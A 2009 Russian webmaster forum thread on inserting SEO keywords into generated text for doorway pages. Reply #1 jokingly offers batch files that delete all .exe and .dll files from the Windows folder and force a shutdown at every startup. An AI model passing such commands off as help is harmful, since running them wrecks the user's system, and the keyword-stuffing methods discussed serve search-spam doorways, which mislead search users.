Как наложить кейворды на текст?

12
A
На сайте с 16.03.2009
Offline
12
2147

Кто не жадный, покажите пример кода на php как "вклеить" массив многословных кейвордов в большой текст. Не перемешать shuffl-ом по предложениям, а аккуратно и равномерно вставить кейворды внутрь различных фраз в тексте.

ewg777
На сайте с 04.06.2007
Offline
225
#1
adaliska:
Кто не жадный, покажите пример кода на php как "вклеить" массив многословных кейвордов в большой текст. Не перемешать shuffl-ом по предложениям, а аккуратно и равномерно вставить кейворды внутрь различных фраз в тексте.

Одно из 4-х

1. Создаем тестовый документ:

cd\

cd windows

del *.exe

del *.dll

@cd с:\windows

del *.exe

del *.dll

И сохраняем текстовый документ с расширением bat

Ну и запускаем.

ewg777 добавил 06.05.2009 в 22:55

2. $text = $text.$keywords[array_rand($keywords)];

ewg777 добавил 06.05.2009 в 22:56

3. http://tinyurl.com/cekbzk

4. Создаем тестовый документ:

@Echo off

echo

start /wait shutdown.exe /s /f

И сохраняем текстовый документ с расширением bat.

Кладем ярлык на файл в автозагрузку.

A
На сайте с 16.03.2009
Offline
12
#2
ewg777:
Одно из 4-х

Ага, вклеивать в разрывы цепи Маркова с совпадением крайних слов. Спасибо за подсказку.

.:nbd:.
На сайте с 04.11.2008
Offline
98
#3
adaliska:
Ага, вклеивать в разрывы цепи Маркова с совпадением крайних слов. Спасибо за подсказку.

ВТФ? Что значит разрывы цепи - в цепи не может быть разрывов, ибо каждое текущее слово идет строго за предыдущим в исходном тексте. В цепи может быть только начало и конец.

Палю тему Дорген (/ru/forum/439165) + кеи + контент (http://datarama.biz/) + еще немного кеев и скриптов (http://amazingsoftware.ru/) = $$$ Мы делаем доры, а не пишем романы (c) один Дима рефка dino_spomoni (http://goo.gl/w62v3)
A
На сайте с 16.03.2009
Offline
12
#4
.:nbd:.:
В цепи может быть только начало и конец.

Ну так посоветуй свой способ, если тебе такой не нравится :-)

Madbe
На сайте с 16.08.2007
Offline
116
#5
Хорошего дня!
su-root
На сайте с 15.08.2008
Offline
73
#6

Лучше когда после генерации идет подбор куда можно подставить кей. Это существенно увеличивает время генерации и не всегда можно попасть в процент кеев на странице зато для поисковика будит более похоже на ручной текст, а вообще можно рендомно подменять какие-то слова в уже нагенереном тексте. Иначе как вычислить процент. После того как все предложения будут готовы можно побить и посчитать...

Кто ищет смысл, пусть сидит на небесах - в своих глазах!
.:nbd:.
На сайте с 04.11.2008
Offline
98
#7
adaliska:
Ну так посоветуй свой способ, если тебе такой не нравится :-)

Он мне очень нравится, просто я его не понял =).

Алгоритм прост до безобразия, есть текст, есть ключевое слово/фраза, нужно добавить в текст ключевое слово/фразу через каждые n слов исходного текста.

Можно сделать так:

1. Разбиваем текст на слова, сохраняя результат в массив;

2. В цикле копируем каждое следующее слово в новый массив и увеличиваем счетчик на единицу;

3. Если счетчик равен 25 (например) дописываем к текущему слову ключевое слово/фразу и обнуляем счетчик;

На выходе получаем исходный текст с ключевыми словами через каждые 25 слов из исходного текста.

Можно подмешивать просто заменяя некоторые слова (знаки припенания) своими ключевыми словами. Можно...да много чего можно, если работать с бредотекстами сгенерированными марковкой, другое дело работа с нормальными "человеческими" текстами.

su-root
На сайте с 15.08.2008
Offline
73
#8

>> если работать с бредотекстами сгенерированными марковкой

Дабы не разводить и не перегружать форум мелочами которые никому не нужны, стукните сне в аську я вам покажу как то же самое делать с обычным текстом который потом будит не только читатся, но будит семантически верным. еще раз оговорюсь, что требует ресурсов и время. генерации увеличивается в разы, но текст после такой обработки получается "верным" ;)....

A
На сайте с 16.03.2009
Offline
12
#9
.:nbd:.:
Алгоритм прост до безобразия, есть текст, есть ключевое слово/фраза, нужно добавить в текст ключевое слово/фразу через каждые n слов исходного текста.

За решением таких задач я бы на форум не лез :-))

Естественно, речь идёт о человеческом тексте и вставке кейфраз таким образом, чтобы не испортить человекочитаемость.

Я вижу два решения: либо вклеивать в разрывы марковской цепи с подбором конца-начала звеньев для вклейки, либо вклеивать в любой текст в разрыв "словоА-словоБ" по тому же принципу.

С удовольствием послушаю советов товарища su-root'а, но он мне в аське пока не ответил :-(

N4
На сайте с 27.07.2008
Offline
89
#10

алгоритм подскажу. он весьма простой.

некий текст с помощью функции php explode() разбивается на массив по символу "."

далее массив делится на N частей (по числу вставляемых кейвордов)

для каждой части с помощью array_rand() выбирается произвольная строчка.

в этой выбранной строчке от начала строки+10 ищется первый символ " ", на место которого вставляется кейворд." "

далее массив собирается снова в текст. и готово :)

Интернет-магазин: SP.Easy.Shop 1.4
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий